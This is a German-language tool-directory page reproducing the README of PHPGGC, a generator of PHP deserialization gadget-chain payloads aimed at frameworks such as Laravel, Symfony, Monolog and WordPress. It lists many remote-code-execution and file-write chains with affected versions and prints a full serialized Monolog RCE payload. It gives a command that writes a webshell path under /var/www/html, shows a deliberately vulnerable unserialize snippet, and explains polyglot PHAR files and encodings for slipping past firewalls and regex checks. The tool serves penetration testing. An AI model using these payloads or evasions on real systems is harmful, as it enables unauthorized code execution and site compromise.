Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
phpggc — PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically. | Kitploit
Tools/GitHubGitHub/ambionics/phpggc
Exploit FrameworksPayload GenerationExploitationWeb Application Exploitation
GitHubambionics/phpggc

phpggc

PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.

Repository anzeigen
3.9k559vor 10 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

PHPGGC: PHP Generic Gadget Chains

PHPGGC ist eine Bibliothek von unserialize()-Payloads sowie ein Werkzeug, um diese von der Kommandozeile oder programmatisch zu erzeugen. Wenn Sie auf einer Website auf ein unserialize stoßen, deren Code Sie nicht haben, oder einfach ein Exploit bauen möchten, ermöglicht Ihnen dieses Tool, den Payload zu erzeugen, ohne die mühsamen Schritte des Findens und Kombinierens von Gadgets durchlaufen zu müssen. Es kann als das PHP-Pendant zu frohoffs ysoserial angesehen werden. Zurzeit unterstützt das Tool unter anderem folgende Gadget-Chains: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii und ZendFramework.

Voraussetzungen

PHP >= 5.6 ist erforderlich, um PHPGGC auszuführen.

Verwendung

Führen Sie ./phpggc -l aus, um eine Liste der Gadget-Chains zu erhalten:

root@kitploit:~
$ ./phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                                              TYPE                   VECTOR         I    
Bitrix/RCE1                               17.x.x <= 22.0.300                                   RCE (Function call)    __destruct          
CakePHP/RCE1                              ? <= 3.9.6                                           RCE (Command)          __destruct          
CakePHP/RCE2                              ? <= 4.2.3                                           RCE (Function call)    __destruct          
CodeIgniter4/FR1                          4.0.0 <= 4.3.6                                       File read              __toString     *    
CodeIgniter4/RCE1                         4.0.2 <= 4.0.3                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.3.6                                  RCE (Function call)    __destruct          
CodeIgniter4/RCE3                         4.0.4 <= 4.3.6                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                           RCE (Function call)    __destruct          
CodeIgniter4/RCE5                         -4.1.3+                                              RCE (Function call)    __destruct          
CodeIgniter4/RCE6                         -4.1.3 <= 4.2.10+                                    RCE (Function call)    __destruct          
Doctrine/FW1                              ?                                                    File write             __toString     *    
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5                       File write             __destruct     *    
Doctrine/RCE1                             1.5.1 <= 2.7.2                                       RCE (PHP code)         __destruct     *    
Doctrine/RCE2                             1.11.0 <= 2.3.2                                      RCE (Function call)    __destruct     *    
Dompdf/FD1                                1.1.1 <= ?                                           File delete            __destruct     *    
...

Gadget-Chains filtern:

root@kitploit:~
$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

Jede Gadget-Chain hat:

  • Name: Name des Frameworks/der Bibliothek
  • Version: Version des Frameworks/der Bibliothek, für die die Gadgets gelten
  • Typ: Art der Ausnutzung: RCE, Datei schreiben, Datei lesen, Include...
  • Vektor: der Vektor, der die Kette nach dem unserialize auslöst (__destruct(), __toString(), offsetGet(), ...)
  • Informationen: Weitere Informationen über die Kette

Verwenden Sie -i, um detaillierte Informationen über eine Kette zu erhalten:

root@kitploit:~
$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

./phpggc Symfony/RCE1 <command>

Für RCE-Gadgets kann der ausgeführte Befehl je nach Funktionsweise des Gadgets drei Formatierungsarten haben:

  • RCE (Befehl): ./phpggc Symfony/RCE1 id
  • RCE (PHP-Code): ./phpggc Symfony/RCE2 'phpinfo();'
  • RCE (Funktionsaufruf): ./phpggc Symfony/RCE4 system id

Sobald Sie eine Kette ausgewählt haben, führen Sie ./phpggc <gadget-chain> [parameters] aus, um den Payload zu erhalten. Um beispielsweise einen Payload für Monolog zu erhalten, würden Sie Folgendes tun:

root@kitploit:~
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

Für das Schreiben einer Datei mit SwiftMailer würden Sie Folgendes tun:

root@kitploit:~
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}

Wrapper

Mit der Option --wrapper (-w) können Sie eine PHP-Datei definieren, die die folgenden Funktionen enthält:

  • process_parameters(array $parameters): Wird direkt vor generate() aufgerufen und ermöglicht es, Parameter zu ändern
  • process_object(object $object): Wird direkt vor serialize() aufgerufen und ermöglicht es, das Objekt zu ändern
  • process_serialized(string $serialized): Wird direkt nach serialize() aufgerufen und ermöglicht es, die serialisierte Zeichenkette zu ändern

Wenn der angreifbare Code zum Beispiel so aussieht:

root@kitploit:~
<?php
$data = unserialize($_GET['data']);
print $data['message'];

Sie könnten eine __toString()-Kette verwenden und sie wie folgt verpacken:

root@kitploit:~
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}

Und Sie würden phpggc wie folgt aufrufen:

root@kitploit:~
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}

PHAR(GGC)

Geschichte

Auf der BlackHat US 2018 veröffentlichte @s_n_t PHARGGC, einen Fork von PHPGGC, der anstelle eines serialisierten Payloads eine vollständige PHAR-Datei erstellt. Diese PHAR-Datei enthält serialisierte Daten und kann daher für verschiedene Ausnutzungstechniken verwendet werden (file_exists, fopen, usw.). Das Paper finden Sie hier.

Implementierung

PHAR-Archive gibt es in drei verschiedenen Formaten: PHAR, TAR und ZIP. Alle drei werden von PHPGGC unterstützt. Polyglot-Dateien können mit --phar-jpeg (-pj) erzeugt werden. Weitere Optionen sind verfügbar (verwenden Sie -h).

Beispiele

root@kitploit:~
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id

Encoders

Mit den Argumenten lässt sich die Art der Ausgabe des Payloads verändern. Beispielsweise URL-encodiert -u den Payload, und -b konvertiert ihn in Base64. Payloads enthalten oft NULL-Bytes und können nicht ohne Weiteres kopiert/eingefügt werden. Verwenden Sie -s für ein weiches URL-Encoding, das den Payload lesbar hält.

Die Encoder können verkettet werden, daher ist die Reihenfolge wichtig. Beispielsweise wird ./phpggc -b -u -u slim/rce1 system id den Payload zunächst in Base64 kodieren und dann zweimal URL-encodieren.

Fortgeschritten: Erweiterungen

Fast destruct

PHPGGC implementiert ein --fast-destruct-Flag (-f), das sicherstellt, dass Ihr serialisiertes Objekt direkt nach dem unserialize()-Aufruf zerstört wird und nicht erst am Ende des Skripts. Ich empfehle, es für jeden __destruct-Vektor zu verwenden, da es die Zuverlässigkeit erhöht. Wenn das PHP-Skript beispielsweise nach dem Aufruf eine Exception auslöst, wird die __destruct-Methode Ihres Objekts möglicherweise nicht aufgerufen. Da es gleichzeitig mit den Encodern verarbeitet wird, muss es zuerst gesetzt werden.

root@kitploit:~
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...

ASCII Strings

Verwendet das Serialisierungsformat S anstelle des standardmäßigen s. Dadurch wird jedes Nicht-ASCII-Zeichen durch eine hexadezimale Darstellung ersetzt: s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D"; Dies kann nützlich sein, wenn Nicht-ASCII-Zeichen aus irgendeinem Grund nicht erlaubt sind (z. B. NULL-Byte). Da Payloads diese normalerweise enthalten, wird so sichergestellt, dass der Payload nur aus ASCII-Werten besteht. Hinweis: Dies ist experimentell und funktioniert in einigen Fällen möglicherweise nicht.

Armor Strings

Verwendet das Serialisierungsformat S anstelle des standardmäßigen s. Dadurch wird jedes Zeichen durch eine hexadezimale Darstellung ersetzt: s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"\41\00\42\09\0D"; Dies ist praktisch, wenn eine Firewall oder PHP-Code Zeichenketten blockiert. Hinweis: Dies ist experimentell und funktioniert in einigen Fällen möglicherweise nicht. Hinweis: Dadurch wächst jede Zeichenkette im Payload um den Faktor 3.

Plus Numbers

Manchmal überprüfen PHP-Skripte, ob der übergebene serialisierte Payload keine Objekte enthält, indem sie einen regulären Ausdruck wie /O:[0-9]+: verwenden. Dies lässt sich leicht umgehen, indem man O:+123:... anstelle von O:123: verwendet. Mit --plus-numbers <types> oder -n <types> kann man diese +-Zeichen automatisch vor Symbolen hinzufügen. Um beispielsweise Objekte und Zeichenketten zu verschleiern, kann man --n Os verwenden. Bitte beachten Sie, dass seit PHP 7.2 nur die Typen i und d (Float) ein + haben können.

Public Properties

Versucht, Referenzen auf geschützte oder private Eigenschaften im serialisierten Payload in öffentliche umzuwandeln. Dies kann nützlich sein, da PHP beim Serialisieren einer nicht-öffentlichen Eigenschaft eines Objekts dem Eigenschaftsnamen ein Sternchen (für geschützt) oder den Klassennamen (für privat) voranstellt, umgeben von NULL-Bytes. Diese gehen leicht verloren, wenn der Payload ohne Kodierung als Klartext übertragen oder gespeichert wird. In diesem Fall schlägt das Unserialisieren des Payloads fehl, da die Zeichenkettenlänge des Eigenschaftsnamens (und der Name selbst) nicht mehr korrekt sind. Als zusätzlichen Vorteil sind die Payloads ohne die Präfixe etwas kleiner. Das Umwandeln von Eigenschaften in öffentliche funktioniert in neueren PHP-Versionen tendenziell, kann aber in älteren Versionen (vor PHP 7.2) Probleme verursachen. Diese Funktionalität funktioniert möglicherweise nicht richtig, wenn eine Kette ein oder mehrere Objekte enthält, die eine eigene Serialize-/Unserialize-Implementierung haben.

Testen Ihrer Kette

Um zu testen, ob die gewünschte Gadget-Chain in der Zielumgebung funktioniert, wechseln Sie in den Ordner Ihrer Umgebung und führen Sie die Kette ohne Argumente mit der Option --test-payload aus.

Um beispielsweise zu testen, ob Monolog/RCE2 auf Symfony 4.x funktioniert:

root@kitploit:~
$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !

Der Exit-Code ist 0, wenn der Payload ausgelöst wurde, andernfalls 1.

Testen Ihrer Kette gegen jede Version eines Pakets

Wenn Sie wissen möchten, gegen welche Versionen eines Pakets eine Gadget-Chain funktioniert, können Sie test-gc-compatibility.py verwenden.

root@kitploit:~
$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev         │   OK    │      OK      │      KO      │
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 2.2.0           │   OK    │      OK      │      KO      │
│ 2.1.1           │   OK    │      OK      │      KO      │
│ 2.1.0           │   OK    │      OK      │      KO      │
│ 2.0.2           │   OK    │      OK      │      KO      │
│ 2.0.1           │   OK    │      OK      │      KO      │
│ 2.0.0           │   OK    │      OK      │      KO      │
│ 2.0.0-beta2     │   OK    │      OK      │      KO      │
│ 2.0.0-beta1     │   OK    │      OK      │      KO      │
│ 1.x-dev         │   OK    │      OK      │      KO      │
│ 1.26.1          │   OK    │      OK      │      KO      │
│ 1.26.0          │   OK    │      OK      │      KO      │
│ 1.25.5          │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
                        ...
│ 1.0.1           │   OK    │      KO      │      KO      │
│ 1.0.0           │   OK    │      KO      │      KO      │
│ 1.0.0-RC1       │   OK    │      KO      │      KO      │
│ dev-main        │   OK    │      OK      │      KO      │
│ * dev-phpstan   │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘

Sie können die zu testenden Versionen mit der folgenden Syntax angeben:

root@kitploit:~
$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘

API

Anstatt PHPGGC als Kommandozeilenwerkzeug zu verwenden, können Sie PHP-Skripte programmieren:

root@kitploit:~
<?php

# Include PHPGGC
include("phpggc/lib/PHPGGC.php");

# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();

# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
	'function' => 'system',
	'parameter' => 'id',
]);

# Generate the payload
$object = $gc->generate($parameters);

# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two 
$object = $gc->process_object($object);

# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);

# Display it
print($serialized . "\n");

# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());

Dies ermöglicht es Ihnen, Parameter anzupassen oder Exploits einfacher zu schreiben. Hinweis: Dies ist derzeit ziemlich experimentell. Bitte melden Sie Fehler.

Mitwirken

Pull-Requests sind mehr als willkommen. Bitte befolgen Sie diese einfachen Richtlinien:

  • __destruct() ist immer der beste Vektor
  • Geben Sie mindestens die Version der Bibliothek an, auf der Sie den Payload aufgebaut haben
  • Nehmen Sie keine ungenutzten Parameter in die Gadget-Definition auf, wenn sie ihre Standardwerte behalten. Das macht den Payload nur größer.
  • Achten Sie auf den Codestil: Beispielsweise stehen öffnende Klammern { in einer neuen Zeile, und Arrays sollten als [1, 2, 3] statt in der alten Schreibweise array(1, 2, 3) geschrieben werden.

Codetechnisch ist die Verzeichnisstruktur recht einfach: Gadgets in gadgets.php, Beschreibung + Logik in chain.php. Sie können Vor- und Nachbearbeitungsmethoden definieren, falls Parameter geändert werden müssen. Hoffentlich reichen die bereits implementierten Gadgets aus, um Ihre eigenen zu bauen. Ansonsten beantworte ich gerne Ihre Fragen.

Bitte testen Sie so viele Versionen wie möglich. Die Nomenklatur für Versionen ist wie folgt: [-]<lower-version> <= <higher-version>[+]. Die Zeichen - und + zeigen an, dass Ihr Payload möglicherweise auf niedrigeren bzw. höheren Versionen funktioniert. Wenn Ihre Gadget-Chain zum Beispiel von Version 2.0.0 bis Version 4.4.1 funktioniert, die zu diesem Zeitpunkt die letzte Version ist, verwenden Sie 2.0.0 <= 4.4.1+.

Die Kommandozeilenoption --new <framework> <type> kann verwendet werden, um die Verzeichnis- und Dateistruktur für eine neue Gadget-Chain zu erstellen. Zum Beispiel erstellt ./phpggc -n Drupal RCE eine neue Drupal-RCE-Gadget-Chain.

Docker

Wenn Sie PHP nicht installieren möchten, können Sie ein Docker-Image mit folgendem Befehl erstellen:

root@kitploit:~
$ docker build . -t 'phpggc'

Sie können dann das dockerisierte phpggc verwenden.

Erzeugen einer Gadget-Chain

root@kitploit:~
$ docker run phpggc Monolog/rce1 'system' 'id'

Testen einer Kette

Wechseln Sie in den Ordner Ihrer Umgebung und führen Sie die Kette ohne Argumente mit der Option --test-payload aus:

root@kitploit:~
$ docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload

Erzeugen von Phar-/Polyglot-Dateien

Hinweis: Der Befehl muss in dem Verzeichnis ausgeführt werden, in dem sich das Eingabebild befindet.

root@kitploit:~
$ docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id

test-gc-compatibility.py ausführen

root@kitploit:~
$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.2                      │   OK    │      OK       │      OK       │
│ 2.7.2                    │   OK    │      OK       │      KO       │
└──────────────────────────┴─────────┴───────────────┴───────────────┘

Lizenz

Apache License 2.0

Tool herunterladen